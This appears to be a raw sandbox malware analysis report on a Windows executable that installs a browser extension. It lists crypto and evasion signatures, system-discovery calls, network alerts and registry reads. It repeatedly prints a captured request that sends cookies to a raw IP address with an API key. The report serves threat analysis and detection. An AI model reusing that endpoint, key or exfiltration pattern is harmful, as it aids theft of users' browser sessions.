2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "keep" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "aliveContent" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "5673User" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "like" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "0Content" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Type" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "//hkaopoilcdlhchigljlbkjlehdiplmceAccept" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Encoding" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "gzip" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9" Contains base64 string in header "Language" in header "POST /api/v1/ext/cookies HTTP/1.1Host: 87.120.104.147:8080Connection: keep-aliveContent-Length: 5673User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Content-Type: application/jsonX-API-Key: 2570969028d66df9fea824c47fd111c4041f1338aab7d46a3c0dcb0721fe90f6Accept: */*Origin: chrome-extension://hkaopoilcdlhchigljlbkjlehdiplmceAccept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9"32:T632,The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Able to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Able to access crypto-related API (String) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains reference to cryptographic keys Matched sigs: Contains possible references to Golang crypto modules Matched sigs: Contains reference to crypto DLLs Matched sigs: Contains ability to perform Base64 encoding/decoding Matched sigs: Reads the cryptographic machine GUID Matched sigs: Calls an API typically used to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to import asymmetric cryptographic keys into a CSP Matched sigs: HTTP requests contain Base64 strings Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Imports crypto-related APIs Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Contains key cryptographic functions of the CryptoAPI Matched sigs: YARA signature match – Encryption algorithm Matched sigs: YARA signature match - ChaCha20 encryption algorithm Matched sigs: YARA signature match – cryptographic algorithms Matched sigs: YARA signature match - AES encryption33:T4a5,Found string "%WINDIR%\system32\drivers\vmbkmcl.sys" (Source: "00000000-00000700-00000C2B-2030990164") Found string "%WINDIR%\system32\drivers\vmbusr.sys" (Source: "00000000-00000700-00000C2B-2031299518") Found string "%WINDIR%\system32\drivers\vmbkmclr.sys" (Source: "00000000-00000700-00000C2B-2032870431") Found string "C:\WINDOWS\system32\drivers\vmbkmclr.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp") Found string "C:\WINDOWS\system32\drivers\vmbusr.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp") Found string "C:\WINDOWS\system32\drivers\vmbkmcl.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp") Found string "??\c:\windows\system32\drivers\vmbkmcl.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp") Found string "??\C:\WINDOWS\system32\drivers\vmbkmcl.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp") Found string ":\WINDOWS\system32\drivers\vmbkmcl.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp") Found string ":\windows\system32\drivers\vmbkmcl.sys" (Source: "00000000-00000700.00000000.194210.2D4D0000.00000004.mdmp")34:T59e,Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; File: "file") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; File: "file") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; File: "file") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; File: "file") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; File: "file") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; File: "file") Found reference to API "GetDiskFreeSpaceW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceA" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpace"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetDiskFreeSpaceExW" (Indicator: "GetDiskFreeSpaceEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatus"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GlobalMemoryStatusEx" (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")35:T451,Found system information discovery API: "GetSystemInfo" in file "file" Found system information discovery API: "GetEnvironmentStringsW" in file "file" Found system information discovery API: "RtlNtStatusToDosError" in file "file" Found system information discovery API: "NtQuerySystemInformation" in file "file" Found system information discovery API: "GetNativeSystemInfo" in file "file" Found system information discovery API: "ExpandEnvironmentStringsW" in file "file" Found system information discovery API: "GetSystemInfo" in "00000000-00000700.00000000.194210.B5031000.00000002.mdmp" Found system information discovery API: "GetNativeSystemInfo" in "00000000-00000700.00000000.194210.B5031000.00000002.mdmp" Found system information discovery API: "GetEnvironmentStringsW" in "00000000-00000700.00000000.194210.B5031000.00000002.mdmp" Found system information discovery API: "NtQuerySystemInformation" in "00000000-00000700.00000000.194210.B5031000.00000002.mdmp" Found system information discovery API: "RtlNtStatusToDosError" in "00000000-00000700.00000000.194210.B5031000.00000002.mdmp"36:Tec8,"file.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000700) "file.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000700) "file.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000700) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001552) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00001552) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac5f85f87f0000000000000000000051ed1387f87f0000000000009801000000000000000000008ad4cc6c134f00002a00000000000000d051fb1e980100008fec1387f87f0000e0ac5f85f87f0000e0ac5f85f87f0000000000000000000000000000f87f0000ffffff7ff1cb000000000000000000000000000000000000d8ce5385f87f00002a0000000000000069c30c85f87f00003100000000000000e8030000000000009c03000000000000110001100000000010d5cfc01400000003a35486f87f000010d5cfc01400000000000000000000002b00000000000000000000000000000020b01285f87f0000b43f1185f87f0000e0ce5385 (UID: 00000000-00001552)37:T4da,Found reference to API "FindVolumeClose" (Indicator: "FindVolumeClose"; File: "file") Found reference to API "FindFirstVolumeW" (Indicator: "FindFirstVolume"; File: "file") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; File: "file") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathName"; File: "file") Found reference to API "FindNextVolumeW" (Indicator: "FindNextVolume"; File: "file") Found reference to API "FindFirstVolumeW" (Indicator: "FindFirstVolume"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "FindNextVolumeW" (Indicator: "FindNextVolume"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "FindVolumeClose" (Indicator: "FindVolumeClose"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathNamesForVolumeName"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetVolumePathNamesForVolumeNameW" (Indicator: "GetVolumePathName"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")38:T670,Found string "SELECT * FROM %Q.%Q" (Indicator: "select * from "; File: "file") Found string "SELECT * FROM "%w"."%w_rowid" WHERE rowid=?1" (Indicator: "select * from "; File: "file") Found string "SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0)" (Indicator: "select * from "; File: "file") Found string "SELECT 2 * total(1 + leaves_end_block - start_block) FROM (SELECT * FROM %Q.'%q_segdir' WHERE level = ? ORDER BY idx ASC LIMIT ? )" (Indicator: "select * from "; File: "file") Found string "SELECT * FROM %Q.'%q_rowid'" (Indicator: "select * from "; File: "file") Found string "SELECT * FROM %Q.%Q" (Indicator: "select * from "; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "SELECT * FROM "%w"."%w_rowid" WHERE rowid=?1" (Indicator: "select * from "; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "SELECT * FROM (SELECT 'sqlite_schema' AS name,1 AS rootpage,'table' AS type UNION ALL SELECT name,rootpage,type FROM "%w".sqlite_schema WHERE rootpage!=0)" (Indicator: "select * from "; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "SELECT 2 * total(1 + leaves_end_block - start_block) FROM (SELECT * FROM %Q.'%q_segdir' WHERE level = ? ORDER BY idx ASC LIMIT ? )" (Indicator: "select * from "; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found string "SELECT * FROM %Q.'%q_rowid'" (Indicator: "select * from "; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")39:T4b7,Found string "nslookup: WSAStartup:%0" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] # interactive mode using default server" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] - server # interactive mode using 'server'" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] host # just look up 'host' using default server" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup [-opt ...] host server # just look up 'host' using 'server'" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup.exe" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp") Found string "nslookup.exe.mui" (Indicator: "nslookup"; Source: "00000000-00000700.00000000.194210.2FA40000.00000002.mdmp")3a:T438,Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "file") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "file") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "file") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00000700.00000000.194210.B5031000.00000002.mdmp")3b:T1552,"file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets" at 00000000-00000700-00000C17-2029722373 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0" at 00000000-00000700-00000C17-2029724826 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons" at 00000000-00000700-00000C17-2029729441 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons" at 00000000-00000700-00000C17-2029731623 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons" at 00000000-00000700-00000C17-2029733990 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0" at 00000000-00000700-00000C17-2029736460 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0" at 00000000-00000700-00000C17-2029738768 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0" at 00000000-00000700-00000C17-2029741405 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets" at 00000000-00000700-00000C17-2029742580 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\background.ts-D6ogNSgd.js" at 00000000-00000700-00000C17-2029743895 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\background.ts-D6ogNSgd.js" at 00000000-00000700-00000C17-2029744484 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\background.ts-D6ogNSgd.js" at 00000000-00000700-00000C17-2029745098 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\content.ts-B6XGI__y.js" at 00000000-00000700-00000C17-2029747521 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\content.ts-B6XGI__y.js" at 00000000-00000700-00000C17-2029748123 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\assets\content.ts-B6XGI__y.js" at 00000000-00000700-00000C17-2029748683 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icon.png" at 00000000-00000700-00000C17-2029749862 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icon.png" at 00000000-00000700-00000C17-2029750373 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icon.png" at 00000000-00000700-00000C17-2029750909 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons" at 00000000-00000700-00000C17-2029751759 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\128.png" at 00000000-00000700-00000C17-2029753259 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\128.png" at 00000000-00000700-00000C17-2029753909 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\128.png" at 00000000-00000700-00000C17-2029754446 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\16.png" at 00000000-00000700-00000C17-2029755434 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\16.png" at 00000000-00000700-00000C17-2029756113 "file.exe" queries volume information of "C:\Users\%OSUSER%\AppData\Local\Packages\Extensions\33BA5E6CFFDEA17102BEA5CA0ED819099F195DD63265A2D5454E335187228CEE\e0\icons\16.png" at 00000000-00000700-00000C17-20297566673c:T4d9,Detected alert "ET INFO EXE - Served Attached HTTP" (SID: 2014520, Rev: 9, Severity: 3) categorized as "Misc activity" Detected alert "SURICATA STREAM excessive retransmissions" (SID: 2210054, Rev: 1, Severity: 3) categorized as "Generic Protocol Command Decode" Detected alert "SURICATA STREAM ESTABLISHED packet out of window" (SID: 2210020, Rev: 3, Severity: 3) categorized as "Generic Protocol Command Decode" Detected alert "SURICATA STREAM ESTABLISHED invalid ack" (SID: 2210029, Rev: 3, Severity: 3) categorized as "Generic Protocol Command Decode" Detected alert "SURICATA STREAM Packet with invalid ack" (SID: 2210045, Rev: 2, Severity: 3) categorized as "Generic Protocol Command Decode" Detected alert "ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)" (SID: 2015744, Rev: 6, Severity: 3) categorized as "Misc activity" Detected alert "ET INFO Packed Executable Download" (SID: 2014819, Rev: 5, Severity: 3) categorized as "Misc activity" Detected alert "SURICATA STREAM FIN invalid ack" (SID: 2210030, Rev: 3, Severity: 3) categorized as "Generic Protocol Command Decode" Detected alert "SURICATA STREAM FIN out of window" (SID: 2210038, Rev: 3, Severity: 3) categorized as "Generic Protocol Command Decode"3d:T50b,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\4C27431717565A3A07F3E6D0032C4258949CF9EC"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\525C47FB3A5E0655FBD4BE963CA1E94D5FECB43D"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB")3e:T3165,"file.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\System32\Drivers\Synth3dVsc.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\inetsrv\iisres.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\WorkflowServiceHostPerformanceCounters.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter lsm.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter HvHostSvc.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\pacer.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter fwpuclnt.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter pnrpsvc.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter AzRoles.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter fxsresm.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\afd.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\fvevol.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\spaceport.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\refs.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\vmbkmcl.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\drivers\smbdirect.sys (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter cscsvc.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\iphlpsvc.dll (UID: 00000000-00000700) "file.exe" called "LoadLibrary" with 